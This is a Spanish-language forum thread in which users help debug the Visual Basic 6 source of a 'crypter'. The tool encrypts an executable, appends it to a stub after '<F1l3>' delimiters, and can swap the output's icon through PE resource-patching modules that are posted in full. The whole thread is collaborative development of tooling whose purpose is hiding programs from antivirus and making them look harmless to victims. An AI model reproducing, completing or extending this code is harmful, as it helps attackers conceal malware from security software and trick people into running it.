Hola estoy modificando el soucer de un crypter, le quiero añadir la opción de que me cambie el icono del archivo cifrado. Me he quedado ahí que no avanzo ya que si no marco la opción de cifrar el cripter funciona a la parfección, pero si no lo marco el cmd de cifrar se queda sin funcionar, no anda hasta que lo desmarque... El programa no me da errores, los modulos creo que estan bien, al igual que los eventos... este es el codigo del cmd para cifrar
Private Sub chameleonButton3_Click()
On Error GoTo ende
Dim Buffer() As Byte
Dim ResBuffer() As Byte
Dim EofData As String
Dim Buffer2 As String
Dim Stubpath As String
Dim eRR As String
If Text1.Text = "" Then
MsgBox "Selecciona el fichero a cifrar"
chameleonButton1 = True
End If
With CommonDialog1
.CancelError = True
.DialogTitle = "Select where to save the crypted file.."
.DefaultExt = ".exe"
.Filter = "Executables|*.exe"
.FileName = "Crypted232.exe"
If Op1.Value = True Then
ReplaceIcons CommonDialog1.FileName, App.Path + "\" + "Crypted111" + ".exe", eRR
End If
End With
CommonDialog1.ShowSave
Stubpath = CommonDialog1.FileName
ResBuffer() = LoadResData(101, "STUB")
Open Stubpath For Binary As #2
Put #2, , ResBuffer()
Close #2
Text3.Text = Text3.Text & "File read.." & vbCrLf
Text3.Text = Text3.Text & "Crypting.." & vbCrLf
EncodeArrayB LoadFile(Text1.Text), Text2.Text
Buffer() = encoded()
Buffer2 = StrConv(LoadFile(Text1.Text), vbUnicode)
EofData = Mid(Buffer2, GetEOF(Text1.Text), FileLen(Text1.Text))
Open Stubpath For Binary As #1
Put #1, LOF(1) + 1, "<F1l3>"
Put #1, LOF(1) + 1, Buffer()
Put #1, LOF(1) + 1, "<F1l3>"
Put #1, LOF(1) + 1, Text2.Text
Put #1, LOF(1) + 1, "<F1l3>"
Put #1, LOF(1) + 1, EofData
Close #1
'PatchEOF Stubpath 'removed cause it crashes the eof data
Open Stubpath For Binary As #1
Put #1, LOF(1) + 1, EofData
Close #1
Call ReplaceIcons(CommonDialog1.FileName, Stubpath, eRR)
Text3.Text = Text3.Text & "Successfull!" & vbCrLf
MsgBox "The file has been successfully crypted", 64, "Lilith"
ende:
End Sub
Si alguien me puede ayudar se lo agradezco mucho, le podria pasar el source completo por si así no lo ve claro.
Gracias de antemano, un saludo.
a mi entendimiento lo tenes q hacer despues del .ShowSave y no antes
edit: algo que no me queda claro, porque lo haces 2 veces? una arriba y otra abajo
saludos
Wenas, habia un tema de aauronduran2 q hablaba de lo mismo (si no recuerdo mal), echale un vistazo tendra un par de meses el tema.
un saludo
Cita de: el_c0c0 en 23 Febrero 2009, 18:20 PM
a mi entendimiento lo tenes q hacer despues del .ShowSave y no antes
edit: algo que no me queda claro, porque lo haces 2 veces? una arriba y otra abajo
saludos
Pues si te digo la verdad esta asi xq lo pase a un colega y me lo dejo así, cosa que yo tampoco comprendí pero bueno, confié que debería de ser así xD. Pruebo lo que me decis a ver si de una vez puedo continuar, Gracias a los 2. Ya os contaré.
Lo ideal sería:
If chkCambiarIcono.Value = Checked Then
'Código para cambiar icono.
'Código para guardar el ejecutable.
Else
'Código para guardar el ejecutable.
End If
Este es el módulo que utilizo yo, aunque no funciona muy bien:
Option Explicit
Public Type ICONDIR
idReserved As Integer ' Reserved (must be 0)
idType As Integer ' Resource Type (1 for icons)
idCount As Integer ' How many images?
'ICONDIRENTRY idEntries[1]; // An entry for each image (idCount of 'em)
End Type
Public Type ICONDIRENTRY
bWidth As Byte ' Width, in pixels, of the image
bHeight As Byte ' Height, in pixels, of the image
bColorCount As Byte ' Number of colors in image (0 if >=8bpp)
bReserved As Byte ' Reserved ( must be 0)
wPlanes As Integer ' Color Planes
wBitCount As Integer ' Bits per pixel
dwBytesInRes As Long ' How many bytes in this resource?
dwImageOffset As Long ' Where in the file is this image?
End Type
Public Type GRPICONDIR
idReserved As Integer ' Reserved (must be 0)
idType As Integer ' Resource Type (1 for icons)
idCount As Integer ' How many images?
'ICONDIRENTRY idEntries[1]; // An entry for each image (idCount of 'em)
End Type
Public Type GRPICONDIRENTRY
bWidth As Byte ' Width, in pixels, of the image
bHeight As Byte ' Height, in pixels, of the image
bColorCount As Byte ' Number of colors in image (0 if >=8bpp)
bReserved As Byte ' Reserved ( must be 0)
wPlanes As Integer ' Color Planes
wBitCount As Integer ' Bits per pixel
dwBytesInRes As Long ' How many bytes in this resource?
dwIconID As Integer ' Where in the file is this image?
End Type
Public Type Dat
Data() As Byte
End Type
Public Type Ico
IcoDir As ICONDIR
Entries() As ICONDIRENTRY
IcoData() As Dat
End Type
Public Type IcoExe
IcoDir As GRPICONDIR
Entries() As GRPICONDIRENTRY
End Type
Private Declare Function BeginUpdateResource Lib "kernel32.dll" Alias "BeginUpdateResourceA" (ByVal pFileName As String, ByVal bDeleteExistingResources As Long) As Long
Private Declare Function UpdateResource Lib "kernel32.dll" Alias "UpdateResourceA" (ByVal hUpdate As Long, ByVal lpType As Long, ByVal lpName As Long, ByVal wLanguage As Long, lpData As Any, ByVal cbData As Long) As Long
Private Declare Function EndUpdateResource Lib "kernel32.dll" Alias "EndUpdateResourceA" (ByVal hUpdate As Long, ByVal fDiscard As Long) As Long
Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Private Const RT_ICON As Long = 3&
Private Const DIFFERENCE As Long = 11
Private Const RT_GROUP_ICON As Long = (RT_ICON + DIFFERENCE)
'// ReplaceIcoInExe "C:\EXEtoReplace.exe", OpenIconFile("C:\NewIcon.ico")
Public Function OpenIconFile(FileName As String) As Ico
Dim t As Ico 'structure temporaire
Dim X As Long 'compteur
'on ouvre le fichier
Open FileName For Binary As #1
'on récupère l'entete du fichier
Get #1, , t.IcoDir
'redimensionne au nombre d'icones
ReDim t.Entries(0 To t.IcoDir.idCount - 1)
ReDim t.IcoData(0 To t.IcoDir.idCount - 1)
'pour chaque icones
For X = 0 To t.IcoDir.idCount - 1
'récupère l'entete de l'icone
Get #1, 6 + 16 * X + 1, t.Entries(X)
'redimensionne à la taille des données
ReDim t.IcoData(X).Data(t.Entries(X).dwBytesInRes - 1)
'récupère les données
Get #1, t.Entries(X).dwImageOffset + 1, t.IcoData(X).Data
Next
'ferme le fichier
Close #1
'renvoie les données
OpenIconFile = t
End Function
Private Function MakeIcoExe(IconFile As Ico) As IcoExe
Dim t As IcoExe 'structure temporaire
Dim X As Long 'compteur
'nombre d'icones
t.IcoDir.idCount = IconFile.IcoDir.idCount
'type : Icone = 1
t.IcoDir.idType = 1
'chaque entrée
ReDim t.Entries(IconFile.IcoDir.idCount - 1)
'pour chaque entrée
For X = 0 To t.IcoDir.idCount - 1
'entete d'icones
t.Entries(X).bColorCount = IconFile.Entries(X).bColorCount
t.Entries(X).bHeight = IconFile.Entries(X).bHeight
t.Entries(X).bReserved = IconFile.Entries(X).bReserved
t.Entries(X).bWidth = IconFile.Entries(X).bWidth
t.Entries(X).dwBytesInRes = IconFile.Entries(X).dwBytesInRes
t.Entries(X).dwIconID = X + 1
t.Entries(X).wBitCount = IconFile.Entries(X).wBitCount
t.Entries(X).wPlanes = IconFile.Entries(X).wPlanes
Next
'renvoie la structure
MakeIcoExe = t
End Function
Public Function ReplaceIcoInExe(FileName As String, IcoFile As Ico) As Boolean
Dim hWrite As Long 'handle de modification
Dim Exe As IcoExe 'structure de ressource icone
Dim ret As Long 'valeur de retour
Dim X As Long 'compteur
Dim D() As Byte 'buffer
'obtient un handle de modification
hWrite = BeginUpdateResource(FileName, 0)
'si échec, on quitte
If hWrite = 0 Then ReplaceIcoInExe = False: Exit Function
'sinon, on lit l'icone
Exe = MakeIcoExe(IcoFile)
'on redimmensionne le buffer
ReDim D(6 + 14 * Exe.IcoDir.idCount)
'on copie les données dans le buffer
CopyMemory ByVal VarPtr(D(0)), ByVal VarPtr(Exe.IcoDir), 6
'pour chaque icone
For X = 0 To Exe.IcoDir.idCount - 1
'on copie les données
CopyMemory ByVal VarPtr(D(6 + 14 * X)), ByVal VarPtr(Exe.Entries(X).bWidth), 14&
Next
'on met à jour la ressource groupe icone
ret = UpdateResource(hWrite, RT_GROUP_ICON, 1, 0, ByVal VarPtr(D(0)), UBound(D))
'si échec, on quitte
If ret = 0 Then ReplaceIcoInExe = False: EndUpdateResource hWrite, 1: Exit Function
'on met à jour chaque ressource icone
For X = 0 To Exe.IcoDir.idCount - 1
ret = UpdateResource(hWrite, RT_ICON, Exe.Entries(X).dwIconID, 0, ByVal VarPtr(IcoFile.IcoData(X).Data(0)), Exe.Entries(X).dwBytesInRes)
Next
'on enregsitre dans le fichier executable
ret = EndUpdateResource(hWrite, 0)
'si échec, on quitte
If ret = 0 Then ReplaceIcoInExe = False: Exit Function
'sinon succès
ReplaceIcoInExe = True
End Function
Uso:
ReplaceIcoInExe "ruta archivo", OpenIconFile("ruta icono")
Saludos ;)
Hola respecto a la respuesta de el_c0c0 he de decir que ya lo hice, y si hago esto entonces me ecrypta de todas las maneras, esté o no marcada la opción de cambiar el ico. Pero lo que ocurre es que no cambia :(
aaronduran2 gracias por la respuesta, pero no creo qe sea del modulo ya que el mio me lo pasaron y anda bien, es este:
Option Explicit
Type DIB_HEADER
Size As Long
Width As Long
Height As Long
Planes As Integer
Bitcount As Integer
Reserved As Long
ImageSize As Long
End Type
Type ICON_DIR_ENTRY
bWidth As Byte
bHeight As Byte
bColorCount As Byte
bReserved As Byte
wPlanes As Integer
wBitCount As Integer
dwBytesInRes As Long
dwImageOffset As Long
End Type
Type ICON_DIR
Reserved As Integer
Type As Integer
Count As Integer
End Type
Type DIB_BITS
Bits() As Byte
End Type
Public Enum Errors
FILE_CREATE_FAILED = 1000
FILE_READ_FAILED
INVALID_PE_SIGNATURE
INVALID_ICO
NO_RESOURCE_TREE
NO_ICON_BRANCH
CANT_HACK_HEADERS
End Enum
Public Function ReplaceIcons(Source As String, Dest As String, Error As String) As Long
Dim IcoDir As ICON_DIR
Dim IcoDirEntry As ICON_DIR_ENTRY
Dim tBits As DIB_BITS
Dim Icons() As IconDescriptor
Dim lngRet As Long
Dim BytesRead As Long
Dim hSource As Long
Dim hDest As Long
Dim ResTree As Long
hSource = CreateFile(Source, ByVal &H80000000, 0, ByVal 0&, 3, 0, ByVal 0)
If hSource >= 0 Then
If Valid_ICO(hSource) Then
SetFilePointer hSource, 0, 0, 0
ReadFile hSource, IcoDir, 6, BytesRead, ByVal 0&
ReadFile hSource, IcoDirEntry, 16, BytesRead, ByVal 0&
SetFilePointer hSource, IcoDirEntry.dwImageOffset, 0, 0
ReDim tBits.Bits(IcoDirEntry.dwBytesInRes) As Byte
ReadFile hSource, tBits.Bits(0), IcoDirEntry.dwBytesInRes, BytesRead, ByVal 0&
CloseHandle hSource
hDest = CreateFile(Dest, ByVal (&H80000000 Or &H40000000), 0, ByVal 0&, 3, 0, ByVal 0)
If hDest >= 0 Then
If Valid_PE(hDest) Then
ResTree = GetResTreeOffset(hDest)
If ResTree > 308 Then ' Sanity check
lngRet = GetIconOffsets(hDest, ResTree, Icons)
SetFilePointer hDest, Icons(1).offset, 0, 0
WriteFile hDest, tBits.Bits(0), UBound(tBits.Bits), BytesRead, ByVal 0&
If Not HackDirectories(hDest, ResTree, Icons(1).offset, IcoDirEntry) Then
eRR.Raise CANT_HACK_HEADERS, App.EXEName, "Unable to modify directories in target executable. File may not contain any icon resources."
End If
Else
eRR.Raise NO_RESOURCE_TREE, App.EXEName, Dest & " does not contain a valid resource tree. File may be corrupt."
CloseHandle hDest
End If
Else
eRR.Raise INVALID_PE_SIGNATURE, App.EXEName, Dest & " is not a valid Win32 executable."
CloseHandle hDest
End If
CloseHandle hDest
Else
eRR.Raise FILE_CREATE_FAILED, App.EXEName, "Failed to open " & Dest & ". Make sure file is not in use by another program."
End If
Else
eRR.Raise INVALID_ICO, App.EXEName, Source & " is not a valid icon resource file."
CloseHandle hSource
End If
Else
eRR.Raise FILE_CREATE_FAILED, App.EXEName, "Failed to open " & Source & ". Make sure file is not in use by another program."
End If
ReplaceIcons = 0
Exit Function
ErrHandler:
ReplaceIcons = eRR.Number
Error = eRR.Description
End Function
Public Function Valid_ICO(hFile As Long) As Boolean
Dim tDir As ICON_DIR
Dim BytesRead As Long
If (hFile > 0) Then
ReadFile hFile, tDir, Len(tDir), BytesRead, ByVal 0&
If (tDir.Reserved = 0) And (tDir.Type = 1) And (tDir.Count > 0) Then
Valid_ICO = True
Else
Valid_ICO = False
End If
Else
Valid_ICO = False
End If
End Function
También tengo otro modulo de PechanceIcon.
editado: Ya solucione el problema, era tan simple como en vez de usa button usar un check.
Espero que me sigan ayudando. Gracias.